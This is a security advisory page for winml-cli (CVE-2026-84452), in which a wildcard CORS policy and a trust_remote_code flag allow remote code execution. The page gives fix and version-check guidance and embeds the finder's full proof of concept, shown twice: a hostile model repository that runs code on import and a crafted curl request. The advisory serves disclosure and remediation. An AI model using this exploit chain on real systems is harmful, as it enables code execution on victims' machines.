Vulnerabilities in pkg:pypi/winml-cli

PACKAGE
Advisory Identifier: GHSA-96p9-rh4f-92cf
Advisory Summary

CVE-2026-84452 is a HIGH remote code execution vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Windows ML CLI libraries in the PyPI ecosystem. The issue involves cors misconfig enables localhost rce. Remediation is available by upgrading affected packages to version 0.4.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/winml-cli

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/winml-cli. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-96p9-rh4f-92cf CVE-2026-84452 HIGH Windows ML CLI: CORS misconfig enables localhost RCE

CVE-2026-84452 at a Glance

CVE Identifier CVE-2026-84452
GHSA Identifier GHSA-96p9-rh4f-92cf
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product Windows ML CLI
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-84452

To remediate this vulnerability, upgrade all affected Windows ML CLI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

winml-cli fixed: 0.4.0
pip install winml-cli>=0.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show winml-cli

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-84452, inspect your installed packages using pip:

pip show winml-cli

Analyze the terminal output to locate any version of Windows ML CLI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.0), your application is affected.

Note: The pip show winml-cli command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Windows ML CLI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Case Description: MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE). Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC. serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws. build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant. Reported Repro Steps: 1. Setup git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import) cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000 Linux needs a stub for the Windows-only PDH module (no security relevance): cat > /tmp/poc/serve.py <<'EOF' import os, sys, types, uvicorn m = types.ModuleType("winml.modelkit.session.monitor._pdh") class PdhPoller: def __init__(s,*a,**k): pass def start(s,*a,**k): pass def stop(s,*a,**k): pass def poll(s,*a,**k): return {} def sample(s,*a,**k): return {} def close(s,*a,**k): pass m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False sys.modules["winml.modelkit.session.monitor._pdh"] = m from winml.modelkit.serve.cli_api import app uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning") EOF cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null & sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up 4. Exploit curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \ -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \ -d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \ | grep -iE '^HTTP|^access-control-allow-origin' cat ~/winml-poc/temp/PWNED HTTP/1.1 200 OK access-control-allow-origin: * ARBITRARY CODE EXECUTION time=2026-08-17 11:24:35 user=shrini host=Shrinivasan pid=11616

CVE-2026-84452 Affected Windows ML CLI Versions

1 component(s)
Fixed Versions:
0.4.0
Product / Package Ecosystem Affected Versions Fixed Version
winml-cli
PyPI
< 0.4.0
0.4.0

References

Frequently Asked Questions

What is CVE-2026-84452?
CVE-2026-84452 is a security vulnerability in Windows ML CLI involving CORS misconfig enables localhost RCE under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which Windows ML CLI versions are affected?
Affected versions include releases prior to 0.4.0 across affected packages: winml-cli.
What version fixes CVE-2026-84452?
Upgrading to 0.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is winml-cli affected?
Yes, winml-cli is affected in releases prior to 0.4.0. Upgrade your dependency to 0.4.0 or later.
What CWE is associated with CVE-2026-84452?
CVE-2026-84452 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check PyPI dependencies for CVE-2026-84452?
Run the dependency tree command: 'pip show winml-cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-96p9-rh4f-92cf",
  "modified" : "2026-09-08T21:27:59Z",
  "published" : "2026-09-08T21:27:59Z",
  "aliases" : [ "CVE-2026-84452" ],
  "summary" : "Windows ML CLI: CORS misconfig enables localhost RCE",
  "details" : "Case Description:\n\nMSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).\n\nFinder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.\n\nserve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=[\"*\"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.\n\nbuild and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.\n\nReported Repro Steps:\n\n1. Setup\n\ngit clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc &&  mkdir -p temp /tmp/poc/evil/pwn\npython3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click\n2. Hostile model repo (payload is module-level → runs on import)\n\ncat > /tmp/poc/evil/pwn/config.json <<'EOF'\n{\"model_type\":\"pwn\",\"auto_map\":{\"AutoConfig\":\"configuration_pwn.PwnConfig\"}}\nEOF\ncat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'\nimport getpass, os, socket, time\nfrom transformers import PretrainedConfig\nwith open(os.environ[\"PWN_MARKER\"], \"w\") as f:\n    f.write(f\"ARBITRARY CODE EXECUTION\\ntime={time.strftime('%F %T')}\\n\"\n            f\"user={getpass.getuser()}\\nhost={socket.gethostname()}\\npid={os.getpid()}\\n\")\nclass PwnConfig(PretrainedConfig):\n    model_type = \"pwn\"\nEOF\n3. Start server\n\nWindows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000\n\nLinux needs a stub for the Windows-only PDH module (no security relevance):\n\ncat > /tmp/poc/serve.py <<'EOF'\nimport os, sys, types, uvicorn\nm = types.ModuleType(\"winml.modelkit.session.monitor._pdh\")\nclass PdhPoller:\n    def __init__(s,*a,**k): pass\n    def start(s,*a,**k): pass\n    def stop(s,*a,**k): pass\n    def poll(s,*a,**k): return {}\n    def sample(s,*a,**k): return {}\n    def close(s,*a,**k): pass\nm.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False\nsys.modules[\"winml.modelkit.session.monitor._pdh\"] = m\nfrom winml.modelkit.serve.cli_api import app\nuvicorn.run(app, host=\"127.0.0.1\", port=8000, log_level=\"warning\")\nEOF\ncd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &\nsleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up\n4. Exploit\n\ncurl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \\\n -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \\\n -d '{\"args\":{\"model\":\"/tmp/poc/evil/pwn\",\"output_dir\":\"/tmp/poc/out\",\"trust_remote_code\":true}}' \\\n | grep -iE '^HTTP|^access-control-allow-origin'\ncat ~/winml-poc/temp/PWNED\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\nARBITRARY CODE EXECUTION\ntime=2026-08-17 11:24:35\nuser=shrini  host=Shrinivasan  pid=11616",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "winml-cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-84452"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/pull/1321"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/microsoft/winml-cli"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:27:59Z",
    "nvd_published_at" : "2026-09-02T20:17:41Z"
  }
}